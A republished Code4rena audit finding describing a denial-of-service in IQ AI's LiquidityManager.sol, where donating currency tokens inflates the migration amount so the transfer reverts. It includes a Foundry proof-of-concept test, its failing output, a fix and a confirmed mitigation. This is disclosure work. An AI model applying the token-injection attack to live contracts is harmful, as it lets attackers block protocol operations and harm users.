Skip to content
DoS Audit finding Intermediate

Attacker can DOS liquidity migration in LiquidityManager.sol

The liquidity migration function used the contract's raw currency token balance to calculate how many agent tokens to add, so an attacker could inflate that balance by sending extra tokens directly. This made the computed agent token amount exceed the contract's actual balance, causing the migration transaction to revert and blocking liquidity migration.

0xAsen Follow with attentioniayn, DanielArmstrong and 7 others

Originally disclosed on Code4rena

Submitted by 0xAsen, also found by attentioniayn, DanielArmstrong, jkk812812, kutugu, Rampage, t0x1c, tallo, Walodja1987, and zraxx

https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L116-L117

https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L141

The LiquidityManager’s liquidity migration function, moveLiquidity() is susceptible to a DOS attack that any malicious attacker can perform.

The reason for this is that moveLiquidity() relies on the raw ERC20 balance of the currency token held by the contract to determine the amount of agent token liquidity to add. In particular, the function calculates the currency token balance via:

uint256 currencyAmount = currencyToken.balanceOf(address(this));
uint256 liquidityAmount = (currencyAmount * 1e18) / price;

This design assumes that the only currency tokens held by the LiquidityManager are those coming from the controlled bootstrap pool. However, an attacker can directly transfer extra currency tokens (e.g., IQ tokens) into the LiquidityManager.

This “injection” increases the raw balance reported by balanceOf(address(this)), causing the computed liquidityAmount — which represents the amount of agent tokens required for migration to be artificially inflated.

When the LiquidityManager then attempts to transfer agent tokens to add liquidity (via a subsequent call to addLiquidityToFraxswap()), the computed amount exceeds the actual agent token balance held by the contract. This results in a failure (an ERC20InsufficientBalance revert) during the migration process, effectively causing a denial-of-service (DoS) that blocks liquidity migration and disrupts normal protocol operations.

Impact:

  • Protocol Disruption: The migration process is a core functionality for moving liquidity from the bootstrap pool to the Fraxswap pair.
  • User Harm: Disrupted liquidity migration can result in poor market pricing or loss of confidence, potentially causing users to incur losses when trading or exiting positions.
  • Denial-of-Service (DoS): An attacker can exploit this vulnerability to prevent liquidity migration, indirectly impacting the protocol’s ability to function as intended.

Impact: High

Likelihood: Medium as it requires an attacker to spend funds. How well-funded he must be depends on the exact amount of tokens that will be used in a real environment and how willing he is to cause damage to the protocol and its users (a competitor or someone else with malicious intent).

Proof of Concept

Let’s look at the relevant parts of the source code. A coded POC is supplied after. LiquidityManager.sol, moveLiquidity():

        // Determine liquidity amount to add
        uint256 currencyAmount = currencyToken.balanceOf(address(this));
        uint256 liquidityAmount = (currencyAmount * 1e18) / price;

        // Add liquidity to Fraxswap
        IFraxswapPair fraxswapPair = addLiquidityToFraxswap(liquidityAmount, currencyAmount);

We can see that the function relies on the raw currency tokens balance of the contract and uses that to calculate liquidityAmount - the amount of agent tokens to add as liquidity to Fraxswap.

addLiquidityToFraxswap():

    function addLiquidityToFraxswap(
        uint256 liquidityAmount,
        uint256 currencyAmount
    ) internal returns (IFraxswapPair fraxswapPair) {
        fraxswapPair = IFraxswapPair(fraxswapFactory.getPair(address(currencyToken), address(agentToken)));
        if (fraxswapPair == IFraxswapPair(address(0))) {
            // Create Fraxswap pair and add liquidity
            fraxswapPair = IFraxswapPair(fraxswapFactory.createPair(address(currencyToken), address(agentToken), fee));

            agentToken.safeTransfer(address(fraxswapPair), liquidityAmount); <--

            currencyToken.safeTransfer(address(fraxswapPair), currencyAmount);
            fraxswapPair.mint(address(this));

Now, if the liquidityAmount has been inflated by performing the attack, this line will fail if the contract doesn’t have enough balance:

agentToken.safeTransfer(address(fraxswapPair), liquidityAmount);

To demonstrate this vulnerability, here’s a coded POC that you can add to MoveLiquidityTest.sol. Run it via forge test --match-test test_MoveLiquidity_TokenInjection -vvv.

    function test_MoveLiquidity_TokenInjection() public {
        // Set up the fork and environment.
        setUpFraxtal(12_918_968);

        // agent deployer
        address dev = address(0x1234);
        // attacker
        address attacker = 0x00160baF84b3D2014837cc12e838ea399f8b8478;

        // deal to dev a lot of currency tokens to operate
        deal(address(currencyToken), dev, 30_000_000e18);

        // Set target liquidity parameters in the factory.
        uint256 targetCCYLiquidity = 6_100_000e18;

        // Deploy a new AgentFactory. (Assume currencyToken is already set up.)
        factory = new AgentFactory(currencyToken, 0);
        factory.setAgentBytecode(type(Agent).creationCode);
        factory.setGovenerBytecode(type(TokenGovernor).creationCode);
        factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);

        // For testing migration quickly, set a low target liquidity.
        factory.setTargetCCYLiquidity(1000);
        // Set an initial price, e.g. 0.1 IQ per agent token.
        factory.setInitialPrice(0.1e18);

        // --- Deploy agent and all relevant contract ---

        // Simulate normal user activity to push the pool toward the target.
        vm.startPrank(dev);

        // Approve and create the agent
        currencyToken.approve(address(factory), type(uint256).max);

        // dev directly buys enough so that the target liquidity is satisfied
        agent = factory.createAgent("ExploitAgent", "EXP", "https://exploit.com", targetCCYLiquidity);
        token = agent.token();

        // Retrieve the LiquidityManager and the BootstrapPool.
        manager = LiquidityManager(factory.agentManager(address(agent)));
        bootstrapPool = manager.bootstrapPool();

        // ensure bootstrap pool is initialized
        require(address(bootstrapPool) != address(0), "BootstrapPool not initialized");

        vm.stopPrank();

        // --- Attacker Manipulates the LiquidityManager by Injecting Currency Tokens ---
        // Here the attacker directly transfers extra currency tokens into the LiquidityManager.

        // deal currency tokens to the attacker
        deal(address(currencyToken), attacker, 10_000_000e18);

        // Impersonate the attacker.
        vm.startPrank(attacker);
        uint256 extraIQTokens = currencyToken.balanceOf(attacker); // Amount chosen for demonstration.

        // transfer the currency tokens to the manager contract
        currencyToken.transfer(address(manager), extraIQTokens);

        // --- Migrate Liquidity ---
        // The LiquidityManager will now check that the effective IQ reserve (after subtracting phantom)
        // meets the target, and then call moveLiquidity() to migrate liquidity from the BootstrapPool.
        manager.moveLiquidity();

        // After migration, retrieve the Fraxswap pair created by the LiquidityManager.
        IFraxswapPair fraxswapPair = IFraxswapPair(
            manager.fraxswapFactory().getPair(address(currencyToken), address(token))
        );
        (uint112 fraxIQ, uint112 fraxAgent, ) = fraxswapPair.getReserves();
        console2.log("Fraxswap Pool IQ Reserve:", fraxIQ);
        console2.log("Fraxswap Pool Agent Token Reserve:", fraxAgent);

        // Compute the final price in Fraxswap.
        uint256 finalPrice = (uint256(fraxIQ) * 1e18) / uint256(fraxAgent);
        console2.log("Final Price in Fraxswap (IQ per agent token):", finalPrice);

        vm.stopPrank();
}

With that implementation, the test fails because the manager contract doesn’t have enough agent token balance:

[FAIL. Reason: ERC20InsufficientBalance(0x20518cf72FF021e972F704d5B56Ab73FC163713d, 62348026684955421160920257 [6.234e25], 62348026684955421403284271 [6.234e25])] test_MoveLiquidity_TokenInjection() (gas: 48955838)

To verify that this test works otherwise, change this line: deal(address(currencyToken), attacker, 10_000_000e18);

to

deal(address(currencyToken), attacker, 9_000_000e18);

by decreasing the amount of currency tokens the attacker adds, the test and the migration will be successful.

Summary:

In our testing environment, when the attacker transfers 9,000,000 IQ tokens to the LiquidityManager, the migration process succeeds (albeit with an artificially manipulated price). However, when the attacker increases the injection to 10,000,000 IQ tokens, the computed liquidity amount exceeds the actual agent token balance held by the LiquidityManager. This results in an ERC20InsufficientBalance error during the liquidity migration step, effectively causing the process to revert.

(Note: The detailed logs and the failing transaction trace confirm that the agent token transfer reverts because the required amount is slightly higher than available.)

Recommended mitigation steps

Calculate the liquidity amount based on the currency amount that was received by the bootstrap pool. Proposed fix:

uint256 currencyAmount = _reserveCurrencyToken;

That way the attack wouldn’t work, and there’s also no risk of tokens getting left in the manager contract as you transfer them to the agent either way:

        agentToken.safeTransfer(address(agent), agentToken.balanceOf(address(this)));
        currencyToken.safeTransfer(address(agent), currencyToken.balanceOf(address(this)));

Denett (IQ AI) commented:

Nice find, it is pretty expensive though and can be remedied by depositing some agent tokens into the Liquidity manager. I would consider this an unlikely attack, so Medium level.

tom2o17 (IQ AI) commented:

Also want to acknowledge will fix.

However, given the user would be out ~ 40k + in order to DDOS I would downgrade to Medium.

0xnev (judge) decreased severity to Medium and commented:

Agree with downgrade to Medium because:

  1. All donated funds are lost to the BootStrapPool, and since this is accounted for in the computation for prices, it can be retrieved back from sale of agentTokens.
  2. This DoS is difficult to sustain constantly and profitably, since Fraxtal is a OP stack chain which has no private mem-pool, This could risk aimless donation of tokens if currencyAmountand liquidityAmount values changes before pool migration.

tom2o17 (IQ AI) mitigated:

PR 8

Status: Mitigation confirmed.


The original report as published on Code4rena, by 0xAsen. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the migration logic trusted the contract's raw token balance instead of tracking only the tokens received from the bootstrap pool.

Impact

An attacker could block liquidity migration, disrupting the protocol and potentially harming users, though the attack is expensive and the donated funds may be recoverable.

What the attacker needed

Attacker must hold enough currency tokens; attacker must be willing to spend funds

The fix

The migration should calculate the liquidity amount from the currency amount received by the bootstrap pool rather than the contract's raw balance; the project acknowledged the issue and a mitigation was confirmed.

How it was found

  1. Deploy the agent and set up the bootstrap pool with enough liquidity to reach the migration target.
  2. The attacker transfers extra currency tokens directly to the LiquidityManager contract.
  3. The attacker calls moveLiquidity() to start the migration.
  4. The inflated currency balance makes the calculated agent token amount exceed the contract's actual agent token balance.
  5. The agent token transfer reverts with an insufficient balance error, so migration fails.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract held some tokens and used its total token balance to decide how many other tokens to move. Anyone can send tokens to a contract, so an attacker sent extra tokens to make that balance look bigger. The contract then tried to move more tokens than it actually had, the transfer failed, and the migration could not complete.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by 0xAsen

View all

17 more disclosed reports, best first.

More from IQ AI

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.